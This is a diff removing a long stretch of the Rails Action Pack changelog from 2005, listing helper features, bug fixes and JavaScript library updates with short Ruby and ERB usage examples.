-* Added that JavaScriptHelper#link_to_function will honor existing :onclick definitions when adding the function call [David Heinemeier Hansson]
-
-* Added :disable_with option to FormTagHelper#submit_tag to allow for easily disabled submit buttons with different text [David Heinemeier Hansson]
-
-* Make auto_link handle nil by returning quickly if blank? [Scott Barron]
-
-* Make auto_link match urls with a port number specified. [Marcel Molina Jr.]
-
-* Added support for toggling visual effects to ScriptaculousHelper::visual_effect, #3323. [Thomas Fuchs]
-
-* Update to script.aculo.us to 1.5.0 rev. 3343 [Thomas Fuchs]
-
-* Added :select option for JavaScriptMacroHelper#auto_complete_field that makes it easier to only use part of the auto-complete suggestion as the value for insertion [Thomas Fuchs]
-
-* Added delayed execution of Javascript from within RJS #3264 [devslashnull@gmail.com]. Example:
-
- page.delay(20) do
- page.visual_effect :fade, 'notice'
- end
-
-* Add session ID to default logging, but remove the verbose description of every step [David Heinemeier Hansson]
-
-* Add the following RJS methods: [Sam Stephenson]
-
- * alert - Displays an alert() dialog
- * redirect_to - Changes window.location.href to simulate a browser redirect
- * call - Calls a JavaScript function
- * assign - Assigns to a JavaScript variable
- * << - Inserts an arbitrary JavaScript string
-
-* Fix incorrect documentation for form_for [Nicholas Seckar]
-
-* Don't include a layout when rendering an rjs template using render's :template option. [Marcel Molina Jr.]
-
-*1.1.2* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* Update to script.aculo.us 1.5.0 final (equals 1.5.0_rc6) [Thomas Fuchs]
-
-* Update to Prototype 1.4.0 final [Sam Stephenson]
-
-* Added form_remote_for (form_for meets form_remote_tag) [David Heinemeier Hansson]
-
-* Update to script.aculo.us 1.5.0_rc6
-
-* More robust relative url root discovery for SCGI compatibility. This solves the 'SCGI routes problem' -- you no longer need to prefix all your routes with the name of the SCGI mountpoint. #3070 [Dave Ringoen]
-
-* Fix docs for text_area_tag. #3083. [Christopher Cotton]
-
-* Change form_for and fields_for method signatures to take object name and object as separate arguments rather than as a Hash. [David Heinemeier Hansson]
-
-* Introduce :selected option to the select helper. Allows you to specify a selection other than the current value of object.method. Specify :selected => nil to leave all options unselected. #2991 [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Initialize @optional in routing code to avoid warnings about uninitialized access to an instance variable. [Nicholas Seckar]
-
-* Make ActionController's render honor the :locals option when rendering a :file. #1665. [Emanuel Borsboom, Marcel Molina Jr.]
-
-* Allow assert_tag(:conditions) to match the empty string when a tag has no children. Closes #2959. [Jamis Buck]
-
-* Update html-scanner to handle CDATA sections better. Closes #2970. [Jamis Buck]
-
-* Don't put flash in session if sessions are disabled. [Jeremy Kemper]
-
-* Strip out trailing &_= for raw post bodies. Closes #2868. [Sam Stephenson]
-
-* Pass multiple arguments to Element.show and Element.hide in JavaScriptGenerator instead of using iterators. [Sam Stephenson]
-
-* Improve expire_fragment documentation. #2966 [court3nay]
-
-* Correct docs for automatic layout assignment. #2610. [Charles M. Gerungan]
-
-* Always create new AR sessions rather than trying too hard to avoid database traffic. #2731 [Jeremy Kemper]
-
-* Update to Prototype 1.4.0_rc4. Closes #2943 (old Array.prototype.reverse behavior can be obtained by passing false as an argument). [Sam Stephenson]
-
-* Use Element.update('id', 'html') instead of $('id').innerHTML = 'html' in JavaScriptGenerator#replace_html so that script tags are evaluated. [Sam Stephenson]
-
-* Make rjs templates always implicitly skip out on layouts. [Marcel Molina Jr.]
-
-* Correct length for the truncate text helper. #2913 [Stefan Kaes]
-
-* Update to Prototype 1.4.0_rc3. Closes #1893, #2505, #2550, #2748, #2783. [Sam Stephenson]
-
-* Add support for new rjs templates which wrap an update_page block. [Marcel Molina Jr.]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Correct time_zone_options_for_select docs. #2892 [pudeyo@rpi.com]
-
-* Remove the unused, slow response_dump and session_dump variables from error pages. #1222 [lmarlow]
-
-* Performance tweaks: use Set instead of Array to speed up prototype helper include? calls. Avoid logging code if logger is nil. Inline commonly-called template presence checks. #2880, #2881, #2882, #2883 [Stefan Kaes]
-
-* MemCache store may be given multiple addresses. #2869 [Ryan Carver <ryan@fivesevensix.com>]
-
-* Handle cookie parsing irregularity for certain Nokia phones. #2530 [zaitzow@gmail.com]
-
-* Added PrototypeHelper::JavaScriptGenerator and PrototypeHelper#update_page for easily modifying multiple elements in an Ajax response. [Sam Stephenson] Example:
-
- update_page do |page|
- page.insert_html :bottom, 'list', '<li>Last item</li>'
- page.visual_effect :highlight, 'list'
- page.hide 'status-indicator', 'cancel-link'
- end
-
- generates the following JavaScript:
-
- new Insertion.Bottom("list", "<li>Last item</li>");
- new Effect.Highlight("list");
- ["status-indicator", "cancel-link"].each(Element.hide);
-
-* Refactored JavaScriptHelper into PrototypeHelper and ScriptaculousHelper [Sam Stephenson]
-
-* Update to latest script.aculo.us version (as of [3031])
-
-* Updated docs for in_place_editor, fixes a couple bugs and offers extended support for external controls [Justin Palmer]
-
-* Update documentation for render :file. #2858 [Tom Werner]
-
-* Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb. #2855 [court3nay]
-
-* Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables [David Heinemeier Hansson]. Examples:
-
- <% form_for :person, @person, :url => { :action => "update" } do |f| %>
- First name: <%= f.text_field :first_name %>
- Last name : <%= f.text_field :last_name %>
- Biography : <%= f.text_area :biography %>
- Admin? : <%= f.check_box :admin %>
- <% end %>
-
- <% form_for :person, person, :url => { :action => "update" } do |person_form| %>
- First name: <%= person_form.text_field :first_name %>
- Last name : <%= person_form.text_field :last_name %>
-
- <% fields_for :permission => person.permission do |permission_fields| %>
- Admin? : <%= permission_fields.check_box :admin %>
- <% end %>
- <% end %>
-
-* options_for_select allows any objects which respond_to? :first and :last rather than restricting to Array and Range. #2824 [Jacob Robbins <jrobbins@cmj.com>, Jeremy Kemper]
-
-* The auto_link text helper accepts an optional block to format the link text for each url and email address. Example: auto_link(post.body) { |text| truncate(text, 10) } [Jeremy Kemper]
-
-* assert_tag uses exact matches for string conditions, instead of partial matches. Use regex to do partial matches. #2799 [Jamis Buck]
-
-* CGI::Session::ActiveRecordStore.data_column_name = 'foobar' to use a different session data column than the 'data' default. [nbpwie102@sneakemail.com]
-
-* Do not raise an exception when default helper is missing; log a debug message instead. It's nice to delete empty helpers. [Jeremy Kemper]
-
-* Controllers with acronyms in their names (e.g. PDFController) require the correct default helper (PDFHelper in file pdf_helper.rb). #2262 [jeff@opendbms.com]
-
-
-*1.11.0* (November 7th, 2005)
-
-* Added request as instance method to views, so you can do <%= request.env["HTTP_REFERER"] %>, just like you can already access response, session, and the likes [David Heinemeier Hansson]
-
-* Fix conflict with assert_tag and Glue gem #2255 [david.felstead@gmail.com]
-
-* Add documentation to assert_tag indicating that it only works with well-formed XHTML #1937, #2570 [Jamis Buck]
-
-* Added action_pack.rb stub so that ActionPack::Version loads properly [Sam Stephenson]
-
-* Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" [David Heinemeier Hansson]
-
-* Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies [David Heinemeier Hansson]. Example:
-
- class ApplicationController < ActionController::Base
- before_filter :authenticate
- end
-
- class WeblogController < ApplicationController
- # will run the :authenticate filter
- end
-
- class SignupController < ActionController::Base
- # will not run the :authenticate filter
- skip_before_filter :authenticate
- end
-
-* Added redirect_to :back as a short-hand for redirect_to(request.env["HTTP_REFERER"]) [David Heinemeier Hansson]
-
-* Change javascript_include_tag :defaults to not use script.aculo.us loader, which facilitates the use of plugins for future script.aculo.us and third party javascript extensions, and provide register_javascript_include_default for plugins to specify additional JavaScript files to load. Removed slider.js and builder.js from actionpack. [Thomas Fuchs]
-
-* Fix problem where redirecting components can cause an infinite loop [Rick Olson]
-
-* Added support for the queue option on visual_effect [Thomas Fuchs]
-
-* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
-
-* Fix that render :text didn't interpolate instance variables #2629, #2626 [Stefan Kaes]
-
-* Fix line number detection and escape RAILS_ROOT in backtrace Regexp [Nicholas Seckar]
-
-* Fixed document.getElementsByClassName from Prototype to be speedy again [Sam Stephenson]
-
-* Recognize ./#{RAILS_ROOT} as RAILS_ROOT in error traces [Nicholas Seckar]
-
-* Remove ARStore session fingerprinting [Nicholas Seckar]
-
-* Fix obscure bug in ARStore [Nicholas Seckar]
-
-* Added TextHelper#strip_tags for removing HTML tags from a string (using HTMLTokenizer) #2229 [marcin@junkheap.net]
-
-* Added a reader for flash.now, so it's possible to do stuff like flash.now[:alert] ||= 'New if not set' #2422 [Caio Chassot]
-
-
-*1.10.2* (October 26th, 2005)
-
-* Reset template variables after using render_to_string [Stefan Kaes]
-
-* Expose the session model backing CGI::Session
-
-* Abbreviate RAILS_ROOT in traces
-
-
-*1.10.1* (October 19th, 2005)
-
-* Update error trace templates [Nicholas Seckar]
-
-* Stop showing generated routing code in application traces [Nicholas Seckar]
-
-
-*1.10.0* (October 16th, 2005)
-
-* Make string-keys locals assigns optional. Add documentation describing depreciated state [Stefan Kaes]
-
-* Improve line number detection for template errors [Nicholas Seckar]
-
-* Update/clean up documentation (rdoc)
-
-* Upgrade to Prototype 1.4.0_rc0 [Sam Stephenson]
-
-* Added assert_vaild. Reports the proper AR error messages as fail message when the passed record is invalid [Tobias Lütke]
-
-* Add temporary support for passing locals to render using string keys [Nicholas Seckar]
-
-* Clean up error pages by providing better backtraces [Nicholas Seckar]
-
-* Raise an exception if an attempt is made to insert more session data into the ActiveRecordStore data column than the column can hold. #2234. [justin@textdrive.com]
-
-* Removed references to assertions.rb from actionpack assert's backtraces. Makes error reports in functional unit tests much less noisy. [Tobias Lütke]
-
-* Updated and clarified documentation for JavaScriptHelper to be more concise about the various options for including the JavaScript libs. [Thomas Fuchs]
-
-* Hide "Retry with Breakpoint" button on error pages until feature is functional. [David Heinemeier Hansson]
-
-* Fix Request#host_with_port to use the standard port when Rails is behind a proxy. [Nicholas Seckar]
-
-* Escape query strings in the href attribute of URLs created by url_helper. #2333 [Michael Schuerig <michael@schuerig.de>]
-
-* Improved line number reporting for template errors [Nicholas Seckar]
-
-* Added :locals support for render :inline #2463 [mdabney@cavoksolutions.com]
-
-* Unset the X-Requested-With header when using the xhr wrapper in functional tests so that future requests aren't accidentally xhr'ed #2352 [me@julik.nl, Sam Stephenson]
-
-* Unescape paths before writing cache to file system. #1877. [Damien Pollet]
-
-* Wrap javascript_tag contents in a CDATA section and add a cdata_section method to TagHelper #1691 [Michael Schuerig, Sam Stephenson]
-
-* Misc doc fixes (typos/grammar/etc). #2445. [coffee2code]
-
-* Speed improvement for session_options. #2287. [Stefan Kaes]
-
-* Make cacheing binary files friendly with Windows. #1975. [Rich Olson]
-
-* Convert boolean form options form the tag_helper. #809. [Michael Schuerig <michael@schuerig.de>]
-
-* Fixed that an instance variable with the same name as a partial should be implicitly passed as the partial :object #2269 [court3nay]
-
-* Update Prototype to V1.4.0_pre11, script.aculo.us to [2502] [Thomas Fuchs]
-
-* Make assert_tag :children count appropriately. Closes #2181. [jamie@bravenet.com]
-
-* Forced newer versions of RedCloth to use hard breaks [David Heinemeier Hansson]
-
-* Added new scriptaculous options for auto_complete_field #2343 [Manfred Stienstra]
-
-* Don't prepend the asset host if the string is already a fully-qualified URL
-
-* Updated to script.aculo.us V1.5.0_rc2 and Prototype to V1.4.0_pre7 [Thomas Fuchs]
-
-* Undo condition change made in [2345] to prevent normal parameters arriving as StringIO.
-
-* Tolerate consecutive delimiters in query parameters. #2295 [darashi@gmail.com]
-
-* Streamline render process, code cleaning. Closes #2294. [skae]
-
-* Keep flash after components are rendered. #2291 [Rick Olson, Scott]
-
-* Shorten IE file upload path to filename only to match other browsers. #1507 [court3nay]
-
-* Fix open/save dialog in IE not opening files send with send_file/send_data, #2279 [Thomas Fuchs]
-
-* Fixed that auto_discovery_link_tag couldn't take a string as the URL [David Heinemeier Hansson]
-
-* Fixed problem with send_file and WEBrick using stdout #1812 [David Heinemeier Hansson]
-
-* Optimized tag_options to not sort keys, which is no longer necessary when assert_dom_equal and friend is available #1995 [skae]
-
-* Added assert_dom_equal and assert_dom_not_equal to compare tags generated by the helpers in an order-indifferent manner #1995 [skae]
-
-* Fixed that Request#domain caused an exception if the domain header wasn't set in the original http request #1795 [Michael Koziarski]
-
-* Make the truncate() helper multi-byte safe (assuming $KCODE has been set to something other than "NONE") #2103
-
-* Add routing tests from #1945 [ben@groovie.org]
-
-* Add a routing test case covering #2101 [Nicholas Seckar]
-
-* Cache relative_url_root for all webservers, not just Apache #2193 [skae]
-
-* Speed up cookie use by decreasing string copying #2194 [skae]
-
-* Fixed access to "Host" header with requests made by crappy old HTTP/1.0 clients #2124 [Marcel Molina Jr.]
-
-* Added easy assignment of fragment cache store through use of symbols for included stores (old way still works too)
-
- Before:
- ActionController::Base.fragment_cache_store =
- ActionController::Base::Caching::Fragments::FileStore.new("/path/to/cache/directory")
-
- After:
- ActionController::Base.fragment_cache_store = :file_store, "/path/to/cache/directory"
-
-* Added ActionController::Base.session_store=, session_store, and session_options to make it easier to tweak the session options (instead of going straight to ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS)
-
-* Added TextHelper#cycle to cycle over an array of values on each hit (useful for alternating row colors etc) #2154 [dave-ml@dribin.org]
-
-* Ensure that request.path never returns nil. Closes #1675 [Nicholas Seckar]
-
-* Add ability to specify Route Regexps for controllers. Closes #1917. [Sebastian Kanthak]
-
-* Provide Named Route's hash methods as helper methods. Closes #1744. [Nicholas Seckar, Steve Purcell]
-
-* Added :multipart option to ActiveRecordHelper#form to make it possible to add file input fields #2034 [jstirk@oobleyboo.com]
-
-* Moved auto-completion and in-place editing into the Macros module and their helper counterparts into JavaScriptMacrosHelper
-
-* Added in-place editing support in the spirit of auto complete with ActionController::Base.in_place_edit_for, JavascriptHelper#in_place_editor_field, and Javascript support from script.aculo.us #2038 [Jon Tirsen]
-
-* Added :disabled option to all data selects that'll make the elements inaccessible for change #2167, #253 [eigentone]
-
-* Fixed that TextHelper#auto_link_urls would include punctuation in the links #2166, #1671 [eigentone]
-
-* Fixed that number_to_currency(1000, {:precision => 0})) should return "$1,000", instead of "$1,000." #2122 [sd@notso.net]
-
-* Allow link_to_remote to use any DOM-element as the parent of the form elements to be submitted #2137 [erik@ruby-lang.nl]. Example:
-
- <tr id="row023">
- <td><input name="foo"/></td>
- <td><input name="bar"/></td>
- <td><%= link_to_remote 'Save', :update => "row023",
- :submit => "row023", :url => {:action => 'save_row'} %></td>
- </tr>
-
-* Fixed that render :partial would fail when :object was a Hash (due to backwards compatibility issues) #2148 [Sam Stephenson]
-
-* Fixed JavascriptHelper#auto_complete_for to only include unique items #2153 [Thomas Fuchs]
-
-* Fixed all AssetHelper methods to work with relative paths, such that javascript_include_tag('stdlib/standard') will look in /javascripts/stdlib/standard instead of '/stdlib/standard/' #1963
-
-* Avoid extending view instance with helper modules each request. Closes #1979
-
-* Performance improvements to CGI methods. Closes #1980 [Stefan Kaes]
-
-* Added :post option to UrlHelper#link_to that makes it possible to do POST requests through normal ahref links using Javascript
-
-* Fixed overwrite_params
-
-* Added ActionController::Base.benchmark and ActionController::Base.silence to allow for easy benchmarking and turning off the log
-
-* Updated vendor copy of html-scanner to support better xml parsing
-
-* Added :popup option to UrlHelper#link_to #1996 [gabriel.gironda@gmail.com]. Examples:
-
- link_to "Help", { :action => "help" }, :popup => true
- link_to "Busy loop", { :action => "busy" }, :popup => ['new_window', 'height=300,width=600']
-
-* Drop trailing \000 if present on RAW_POST_DATA (works around bug in Safari Ajax implementation) #918
-
-* Fix observe_field to fall back to event-based observation if frequency <= 0 #1916 [Michael Schubert]
-
-* Allow use of the :with option for submit_to_remote #1936 [jon@instance-design.co.uk]
-
-* AbstractRequest#domain returns nil when host is an ip address #2012 [Kevin Clark]
-
-* ActionController documentation update #2051 [François Beausoleil]
-
-* Yield @content_for_ variables to templates #2058 [Sam Stephenson]
-
-* Make rendering an empty partial collection behave like :nothing => true #2080 [Sam Stephenson]
-
-* Add option to specify the singular name used by pagination.
-
-* Use string key to obtain action value. Allows indifferent hashes to be disabled.
-
-* Added ActionView::Base.cache_template_loading back.
-
-* Rewrote compiled templates to decrease code complexity. Removed template load caching in favour of compiled caching. Fixed template error messages. [Nicholas Seckar]
-
-* Fix Routing to handle :some_param => nil better. [Nicholas Seckar, Luminas]
-
-* Add support for :include with pagination (subject to existing constraints for :include with :limit and :offset) #1478 [Michael Schubert]
-
-* Prevent the benchmark module from blowing up if a non-HTTP/1.1 request is processed
-
-* Added :use_short_month option to select_month helper to show month names as abbreviations
-
-* Make link_to escape the javascript in the confirm option #1964 [nicolas.pouillard@gmail.com]
-
-* Make assert_redirected_to properly check URL's passed as strings #1910 [Scott Barron]
-
-* Make sure :layout => false is always used when rendering inside a layout
-
-* Use raise instead of assert_not_nil in Test::Unit::TestCase#process to ensure that the test variables (controller, request, response) have been set
-
-* Make sure assigns are built for every request when testing #1866
-
-* Allow remote_addr to be queried on TestRequest #1668
-
-* Fixed bug when a partial render was passing a local with the same name as the partial
-
-* Improved performance of test app req/sec with ~10% refactoring the render method #1823 [Stefan Kaes]
-
-* Improved performance of test app req/sec with 5-30% through a series of Action Pack optimizations #1811 [Stefan Kaes]
-
-* Changed caching/expiration/hit to report using the DEBUG log level and errors to use the ERROR log level instead of both using INFO
-
-* Added support for per-action session management #1763
-
-* Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 [Stefan Kaes]. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
-
-* Added options hash as third argument to FormHelper#input, so you can do input('person', 'zip', :size=>10) #1719 [jeremye@bsa.ca.gov]
-
-* Added Base#expires_in(seconds)/Base#expires_now to control HTTP content cache headers #1755 [Thomas Fuchs]
-
-* Fixed line number reporting for Builder template errors #1753 [piotr]
-
-* Fixed assert_routing so that testing controllers in modules works as expected [Nicholas Seckar, Rick Olson]
-
-* Fixed bug with :success/:failure callbacks for the JavaScriptHelper methods #1730 [court3nay/Thomas Fuchs]
-
-* Added named_route method to RouteSet instances so that RouteSet instance methods do not prevent certain names from being used. [Nicholas Seckar]
-
-* Fixed routes so that routes which do not specify :action in the path or in the requirements have a default of :action => 'index', In addition, fixed url generation so that :action => 'index' does not need to be provided for such urls. [Nicholas Seckar, Markjuh]
-
-* Worked around a Safari bug where it wouldn't pass headers through if the response was zero length by having render :nothing return ' ' instead of ''
-
-* Fixed Request#subdomains to handle "foo.foo.com" correctly
-
-
-*1.9.1* (11 July, 2005)
-
-* Fixed that auto_complete_for didn't force the input string to lower case even as the db comparison was
-
-* Fixed that Action View should always use the included Builder, never attempt to require the gem, to ensure compatibility
-
-* Added that nil options are not included in tags, so tag("p", :ignore => nil) now returns <p /> not <p ignore="" /> but that tag("p", :ignore => "") still includes it #1465 [Michael Schuerig]
-
-* Fixed that UrlHelper#link_to_unless/link_to_if used html_escape on the name if no link was to be applied. This is unnecessary and breaks its use with images #1649 [joergd@pobox.com]
-
-* Improved error message for DoubleRenderError
-
-* Fixed routing to allow for testing of *path components #1650 [Nicholas Seckar]
-
-* Added :handle as an option to sortable_element to restrict the drag handle to a given class #1642 [thejohnny]
-
-* Added a bunch of script.aculo.us features #1644, #1677, #1695 [Thomas Fuchs]
- * Effect.ScrollTo, to smoothly scroll the page to an element
- * Better Firefox flickering handling on SlideUp/SlideDown
- * Removed a possible memory leak in IE with draggables
- * Added support for cancelling dragging my hitting ESC
- * Added capability to remove draggables/droppables and redeclare sortables in dragdrop.js (this makes it possible to call sortable_element on the same element more than once, e.g. in AJAX returns that modify the sortable element. all current sortable 'stuff' on the element will be discarded and the sortable will be rebuilt)
- * Always reset background color on Effect.Highlight; this make change backwards-compatibility, to be sure include style="background-color:(target-color)" on your elements or else elements will fall back to their CSS rules (which is a good thing in most circumstances)
- * Removed circular references from element to prevent memory leaks (still not completely gone in IE)
- * Changes to class extension in effects.js
- * Make Effect.Highlight restore any previously set background color when finishing (makes effect work with CSS classes that set a background color)
- * Fixed myriads of memory leaks in IE and Gecko-based browsers [David Zülke]
- * Added incremental and local autocompleting and loads of documentation to controls.js [Ivan Krstic]
- * Extended the auto_complete_field helper to accept tokens option
- * Changed object extension mechanism to favor Object.extend to make script.aculo.us easily adaptable to support 3rd party libs like IE7.js [David Zülke]
-
-* Fixed that named routes didn't use the default values for action and possible other parameters #1534 [Nicholas Seckar]
-
-* Fixed JavascriptHelper#visual_effect to use camelize such that :blind_up will work #1639 [pelletierm@eastmedia.net]
-
-* Fixed that a SessionRestoreError was thrown if a model object was placed in the session that wasn't available to all controllers. This means that it's no longer necessary to use the 'model :post' work-around in ApplicationController to have a Post model in your session.
-
-
-*1.9.0* (6 July, 2005)
-
-* Added logging of the request URI in the benchmark statement (makes it easy to grep for slow actions)
-
-* Added javascript_include_tag :defaults shortcut that'll include all the default javascripts included with Action Pack (prototype, effects, controls, dragdrop)
-
-* Cache several controller variables that are expensive to calculate #1229 [Stefan Kaes]
-
-* The session class backing CGI::Session::ActiveRecordStore may be replaced with any class that duck-types with a subset of Active Record. See docs for details #1238 [Stefan Kaes]
-
-* Fixed that hashes was not working properly when passed by GET to lighttpd #849 [Nicholas Seckar]
-
-* Fixed assert_template nil will be true when no template was rendered #1565 [maceywj@telus.net]
-
-* Added :prompt option to FormOptions#select (and the users of it, like FormOptions#select_country etc) to create "Please select" style descriptors #1181 [Michael Schuerig]
-
-* Added JavascriptHelper#update_element_function, which returns a Javascript function (or expression) that'll update a DOM element according to the options passed #933 [mortonda@dgrmm.net]. Examples:
-
- <%= update_element_function("products", :action => :insert, :position => :bottom, :content => "<p>New product!</p>") %>
-
- <% update_element_function("products", :action => :replace, :binding => binding) do %>
- <p>Product 1</p>
- <p>Product 2</p>
- <% end %>
-
-* Added :field_name option to DateHelper#select_(year|month|day) to deviate from the year/month/day defaults #1266 [Marcel Molina Jr.]
-
-* Added JavascriptHelper#draggable_element and JavascriptHelper#drop_receiving_element to facilitate easy dragging and dropping through the script.aculo.us libraries #1578 [Thomas Fuchs]
-
-* Added that UrlHelper#mail_to will now also encode the default link title #749 [f.svehla@gmail.com]
-
-* Removed the default option of wrap=virtual on FormHelper#text_area to ensure XHTML compatibility #1300 [thomas@columbus.rr.com]
-
-* Adds the ability to include XML CDATA tags using Builder #1563 [Josh Knowles]. Example:
-
- xml.cdata! "some text" # => <![CDATA[some text]]>
-
-* Added evaluation of <SCRIPT> blocks in content returned to Ajax calls #1577 [Thomas Fuchs/court3nay/Sean Treadway]
-
-* Directly generate paths with a leading slash instead of tacking it on later. #1543 [Nicholas Seckar]
-
-* Fixed errant parameter modification in functional tests. #1542 [Nicholas Seckar]
-
-* Routes fail with leading slash #1540 [Nicholas Seckar]
-
-* Added support for graceful error handling of Ajax calls #1217 [Jamis Buck/Thomas Fuchs]. Example:
-
- link_to_remote(
- "test",
- :url => { :action => "faulty" },
- :update => { :success => "good", :failure => "bad" },
- 403 => "alert('Forbidden- got ya!')",
- 404 => "alert('Nothing there...?')",
- :failure => "alert('Unkown error ' + request.status)")
-
-* Attempt to explicitly flush the output at the end of CgiProcess#out
-
-* Fixed assert_redirected_to to handle absolute controller paths properly #1472 [Rick Olson/Nicholas Seckar]
-
-* Added event-based observations when frequency is not set on observe_field/form #1474 [flash@vanklinkenbergsoftware.nl]
-
-* Added script.aculo.us Javascripts (controls.js, dragdrop.js, effects.js) (NEEDS MORE DESCRIPTION) #1509 [Thomas Fuchs]
-
-* Fixed prototype to consider all fields it doesn't know as text (such as Safari's search) just like the browser in its serialization #1497 [Sean Treadway]
-
-* Improved performance of Routes generation by a factor of 5 #1434 [Nicholas Seckar]
-
-* Added named routes (NEEDS BETTER DESCRIPTION) #1434 [Nicholas Seckar]
-
-* Improved AbstractRequest documentation #1483 [court3nay]
-
-* Added ActionController::Base.allow_concurrency to control whether the application is thread-safe, so multi-threaded servers like WEBrick knows whether to apply a mutex around the performance of each action. Turned off by default. EXPERIMENTAL FEATURE.
-
-* Added TextHelper#word_wrap(text, line_length = 80) #1449 [tuxie@dekadance.se]
-
-* Added a fall-through action for form_remote_tag that'll be used in case Javascript is unavailable #1459 [Scott Barron]. Example:
-
- form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") }
-
-* Added :xhr => true/false option to verify so you can ensure that a request is coming from an Ajax call or not #1464 [Thomas Fuchs]
-
-* Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 [Kevin Clark]
-
-* Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 [duane.johnson@gmail.com]. Example:
-
- <% show_calendar(:year => 2005, :month => 6) do |day, options| %>
- <% options[:bgcolor] = '#dfd' if 10..15.include? day %>
- [<%= day %>]
- <% end %>
-
-* Changed the default name of the input tag generated by FormTagHelper#submit_tag from "submit" to "commit" so it doesn't clash with form.submit() calls in Javascript #1271
-
-* Fixed relative urls support for lighttpd #1048 [Nicholas Seckar/maznawak@nerim.net]
-
-* Correct distance_of_time_in_words for integer arguments and make the second arg optional, treating the first arg as a duration in seconds. #1458 [madrobby <thomas@fesch.at>]
-
-* Fixed query parser to deal gracefully with equal signs inside keys and values #1345 [gorou].
- Example: /?sig=abcdef=:foobar=&x=y will pass now.
-
-* Added Cuba to country list #1351 [todd]
-
-* Fixed radio_button to work with numeric values #1352 [demetrius]
-
-* Added :extension option to NumberHelper#number_to_phone #1361 [delynnb]
-
-* Added button_to as a form-based solution to deal with harmful actions that should be hidden behind POSTs. This makes it just as easy as link_to to create a safe trigger for actions like destroy, although it's limited by being a block element, the fixed look, and a no-no inside other forms. #1371 [tom@moertel.com]
-
-* Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 [Marcel Molina Jr.]
-
-* Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 [tyler.kovacs@gmail.com]. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
-
-* Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 [Patrick Lenz]
-
-* Fixed TagHelper such that :name and 'name' keys in the options doesn't result in two attributes #1455 [take_tk]
-
-* Ensure that helpers are only available to the controllers where they are defined and their subclasses. #1394 [kdole@tamu.edu]
-
-* render("foo/bar") works with a layout again
-
-* Fixed double-singularization on scaffolded pagination call (Address would be turned into Addres) #1216, #1404 [nilsga]
-
-* Removed the require hack used by functional testing to work around an earlier bug in rake.
-
-* Allow distance_of_time_in_words to work with any value that responds to #to_time (like dates) #969
-
-* Support :render option for :verify #1440 [Tobias Lütke]
-
-* Updated vendor copy of html-scanner lib to 0.5.2, for bug fixes and optimizations. The :content option may be used as expected--to find a tag whose textual content is a particular value--in assert_tag, now.
-
-* Changed test requests to come from 0.0.0.0 instead of 127.0.0.1 such that they don't trigger debugging screens on exceptions, but instead call rescue_action_in_public
-
-* Modernize scaffolding to match the generator: use the new render method and change style from the warty @params["id"] to the sleek params[:id]. #1367
-
-* Include :id in the action generated by the form helper method. Then, for example, the controller can do Model.find(params[:id]) for both edit and update actions. Updated scaffolding to take advantage. #1367
-
-* Add assertions with friendly messages to TestCase#process to ensure that @controller, @request, and @response are set. #1367
-
-* Arrays, hashes sent via multipart posts are converted to strings #1032 [dj@omelia.org, me@julik.nl]
-
-* render(:layout => true) is a synonym for render(:layout => nil)
-
-* Make sure the benchmarking render method always returns the output of the render.
-
-* render(:action), render(:template) and render() are the only three calls that default to using a layout. All other render calls assume :layout => false. This also fixes send_file, which was applying a layout if one existed for the current action.
-
-* verify with :redirect_to won't redirect if a redirect or render has already been performed #1350
-
-* render(:partial => true) is identical to the behavior of the deprecated render_partial()
-
-* Fixed render(:partial => "...") to use an empty Hash for the local assigns #1365
-
-* Fixed Caching::Fragments::FileStore.delete to not raise an exception if the delete fails.
-
-* Deprecated all render_* methods in favor of consolidating all rendering behavior in Base#render(options). This enables more natural use of combining options, such as layouts. Examples:
-
- +---------------------------------------------------------------+-------------------------------------------------------+
- | BEFORE | AFTER |
- +---------------------------------------------------------------+-------------------------------------------------------+
- | render_with_layout "weblog/show", "200 OK", "layouts/dialog" | render :action => "show", :layout => "dialog" |
- | render_without_layout "weblog/show" | render :action => "show", :layout => false |
- | render_action "error", "404 Not Found" | render :action => "error", :status => "404 Not Found" |
- | render_template "xml.div('stuff')", "200 OK", :rxml | render :inline => "xml.div('stuff')", :type => :rxml |
- | render_text "hello world!" | render :text => "hello world!" |
- | render_partial_collection "person", @people, nil, :a => 1 | render :partial => "person", :collection => @people, |
- | | :locals => { :a => 1 } |
- +---------------------------------------------------------------+-------------------------------------------------------+
-
-* Deprecated redirect_to_path and redirect_to_url in favor of letting redirect_to do the right thing when passed either a path or url.
-
-* Fixed use of an integer as return code for renders, so render_text "hello world", 404 now works #1327
-
-* Fixed assert_redirect_to to work with redirect_to_path #869 [Nicholas Seckar]
-
-* Fixed escaping of :method option in remote_form_tag #1218 [Rick Olson]
-
-* Added Serbia and Montenegro to the country_select #1239 [todd@robotcoop.com]
-
-* Fixed Request#remote_ip in testing #1251 [Jeremy Kemper]
-
-* Fixed that compute_public_path should recognize external URLs, so image_tag("http://www.example.com/images/icon.gif") is not prefixed with the relative url path #1254 [victor-ronr-trac@carotena.net]
-
-* Added support for descending year values in DateHelper#select_year, like select_year(Date.today, :start_year => 2005, :end_year => 1900), which would count down from 2005 to 1900 instead of the other way #1274 [nwoods@mail.com]
-
-* Fixed that FormHelper#checkbox should return a checked checkbox if the value is the same as checked_value #1286 [Florian Weber]
-
-* Fixed Form.disable in Prototype #1317 [Wintermute]
-
